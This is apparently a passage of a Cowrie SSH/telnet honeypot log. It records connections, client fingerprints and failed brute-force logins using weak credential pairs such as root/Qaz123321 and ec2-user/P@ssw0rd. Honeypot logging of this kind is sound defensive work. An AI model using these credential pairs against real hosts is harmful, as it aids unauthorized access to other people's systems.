{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:08.658827Z","src_ip":"88.205.172.170","session":"131802d9defe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123321","message":"login attempt [root/Qaz123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:08.768667Z","src_ip":"200.105.172.184","session":"a74e4ab2d2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40354,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2c65cb2cb21","protocol":"telnet","message":"New connection: 161.132.53.68:40354 (159.203.135.109:23) [session: c2c65cb2cb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:09.366488Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:09.895052Z","src_ip":"200.105.172.184","session":"a74e4ab2d2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14309024810791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:12.285142Z","src_ip":"161.132.53.68","session":"aad4c858482b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80016350746155,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:12.513652Z","src_ip":"161.132.53.68","session":"371fcd785f7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.21341347694397,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:16.468648Z","src_ip":"66.132.186.174","session":"557c6981672f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58532,"dst_ip":"159.203.135.109","dst_port":23,"session":"f61ea99b0ffc","protocol":"telnet","message":"New connection: 161.132.53.68:58532 (159.203.135.109:23) [session: f61ea99b0ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:17.903616Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":36230,"dst_ip":"10.17.0.5","dst_port":22,"session":"05e3ecf6df4a","protocol":"ssh","message":"New connection: 124.18.182.99:36230 (10.17.0.5:22) [session: 05e3ecf6df4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:18.604884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:18.623762Z","src_ip":"124.18.182.99","session":"05e3ecf6df4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:18.797871Z","src_ip":"124.18.182.99","session":"05e3ecf6df4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usertest","password":"123456","message":"login attempt [usertest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:19.520622Z","src_ip":"124.18.182.99","session":"05e3ecf6df4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:20.696996Z","src_ip":"124.18.182.99","session":"05e3ecf6df4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58548,"dst_ip":"159.203.135.109","dst_port":23,"session":"da9e72692663","protocol":"telnet","message":"New connection: 161.132.53.68:58548 (159.203.135.109:23) [session: da9e72692663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:20.956990Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58552,"dst_ip":"159.203.135.109","dst_port":23,"session":"70016cfab4f7","protocol":"telnet","message":"New connection: 161.132.53.68:58552 (159.203.135.109:23) [session: 70016cfab4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:22.022179Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":57928,"dst_ip":"10.17.0.5","dst_port":22,"session":"b779e4abb20a","protocol":"ssh","message":"New connection: 220.119.37.141:57928 (10.17.0.5:22) [session: b779e4abb20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:24.372271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:24.381261Z","src_ip":"220.119.37.141","session":"b779e4abb20a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:24.583997Z","src_ip":"220.119.37.141","session":"b779e4abb20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58558,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5ad54f4dc0a","protocol":"telnet","message":"New connection: 161.132.53.68:58558 (159.203.135.109:23) [session: a5ad54f4dc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:25.182044Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QA2ws3ed","message":"login attempt [root/1QA2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:25.392136Z","src_ip":"220.119.37.141","session":"b779e4abb20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:26.592793Z","src_ip":"220.119.37.141","session":"b779e4abb20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41102,"dst_ip":"159.203.135.109","dst_port":23,"session":"5de1d332c846","protocol":"telnet","message":"New connection: 161.132.53.68:41102 (159.203.135.109:23) [session: 5de1d332c846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:27.051990Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41110,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0d1beb8c6b9","protocol":"telnet","message":"New connection: 161.132.53.68:41110 (159.203.135.109:23) [session: c0d1beb8c6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:29.582078Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41122,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8b3a02ed1cb","protocol":"telnet","message":"New connection: 161.132.53.68:41122 (159.203.135.109:23) [session: a8b3a02ed1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:30.578600Z"}
{"eventid":"cowrie.session.closed","duration":31.419942140579224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:33.585511Z","src_ip":"161.132.53.68","session":"19c5dd208d41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.559038877487183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:38.337114Z","src_ip":"161.132.53.68","session":"cbd674db5103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.022352695465088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:40.388716Z","src_ip":"161.132.53.68","session":"c2c65cb2cb21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56430,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f6ec83515a0","protocol":"telnet","message":"New connection: 161.132.53.68:56430 (159.203.135.109:23) [session: 0f6ec83515a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:41.832129Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56442,"dst_ip":"159.203.135.109","dst_port":23,"session":"6efe9d888f95","protocol":"telnet","message":"New connection: 161.132.53.68:56442 (159.203.135.109:23) [session: 6efe9d888f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:43.040225Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53750,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a4e7dd78c1d","protocol":"telnet","message":"New connection: 161.132.53.68:53750 (159.203.135.109:23) [session: 5a4e7dd78c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:47.798213Z"}
{"eventid":"cowrie.session.closed","duration":30.542893409729004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:48.446368Z","src_ip":"161.132.53.68","session":"f61ea99b0ffc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53756,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2fba2950922","protocol":"telnet","message":"New connection: 161.132.53.68:53756 (159.203.135.109:23) [session: b2fba2950922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:50.029664Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53770,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed6382f106a0","protocol":"telnet","message":"New connection: 161.132.53.68:53770 (159.203.135.109:23) [session: ed6382f106a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:52.067861Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":37780,"dst_ip":"159.203.135.109","dst_port":22,"session":"681775e95c2c","protocol":"ssh","message":"New connection: 223.17.5.126:37780 (159.203.135.109:22) [session: 681775e95c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:52.531835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:52.536883Z","src_ip":"223.17.5.126","session":"681775e95c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:52.755473Z","src_ip":"223.17.5.126","session":"681775e95c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53774,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c203a7cd793","protocol":"telnet","message":"New connection: 161.132.53.68:53774 (159.203.135.109:23) [session: 2c203a7cd793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:53.069703Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":42836,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b3e104b58f0","protocol":"ssh","message":"New connection: 114.35.59.237:42836 (10.17.0.5:22) [session: 3b3e104b58f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:53.485618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:53.491343Z","src_ip":"114.35.59.237","session":"3b3e104b58f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"public","message":"login attempt [root/public] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:53.661699Z","src_ip":"223.17.5.126","session":"681775e95c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:53.702040Z","src_ip":"114.35.59.237","session":"3b3e104b58f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.893453121185303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:53.915505Z","src_ip":"161.132.53.68","session":"70016cfab4f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.55.76.108","src_port":47478,"dst_ip":"159.203.135.109","dst_port":23,"session":"d905c09b3153","protocol":"telnet","message":"New connection: 24.55.76.108:47478 (159.203.135.109:23) [session: d905c09b3153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:54.044249Z"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"P@ssw0rd","message":"login attempt [ec2-user/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:54.561188Z","src_ip":"114.35.59.237","session":"3b3e104b58f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.67197895050049,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:54.628825Z","src_ip":"161.132.53.68","session":"da9e72692663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:54.886989Z","src_ip":"223.17.5.126","session":"681775e95c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:55.773319Z","src_ip":"114.35.59.237","session":"3b3e104b58f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.15662670135498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:56.338529Z","src_ip":"161.132.53.68","session":"a5ad54f4dc0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48644,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a4e325071e8","protocol":"telnet","message":"New connection: 161.132.53.68:48644 (159.203.135.109:23) [session: 1a4e325071e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:00.802266Z"}
{"eventid":"cowrie.session.closed","duration":33.92355394363403,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:00.975457Z","src_ip":"161.132.53.68","session":"5de1d332c846","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48650,"dst_ip":"159.203.135.109","dst_port":23,"session":"73ded2330f86","protocol":"telnet","message":"New connection: 161.132.53.68:48650 (159.203.135.109:23) [session: 73ded2330f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:01.680366Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48662,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9897fb7d928","protocol":"telnet","message":"New connection: 161.132.53.68:48662 (159.203.135.109:23) [session: c9897fb7d928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:01.854421Z"}
{"eventid":"cowrie.session.closed","duration":32.4080548286438,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:01.989738Z","src_ip":"161.132.53.68","session":"c0d1beb8c6b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48672,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dd576d15d5b","protocol":"telnet","message":"New connection: 161.132.53.68:48672 (159.203.135.109:23) [session: 0dd576d15d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:02.493093Z"}
{"eventid":"cowrie.session.closed","duration":32.01435303688049,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:02.592832Z","src_ip":"161.132.53.68","session":"a8b3a02ed1cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.097258567810059,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:07.141365Z","src_ip":"24.55.76.108","session":"d905c09b3153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":49528,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdb35045be39","protocol":"ssh","message":"New connection: 200.105.172.184:49528 (159.203.135.109:22) [session: fdb35045be39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:08.455742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:36:08.460846Z","src_ip":"200.105.172.184","session":"fdb35045be39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"]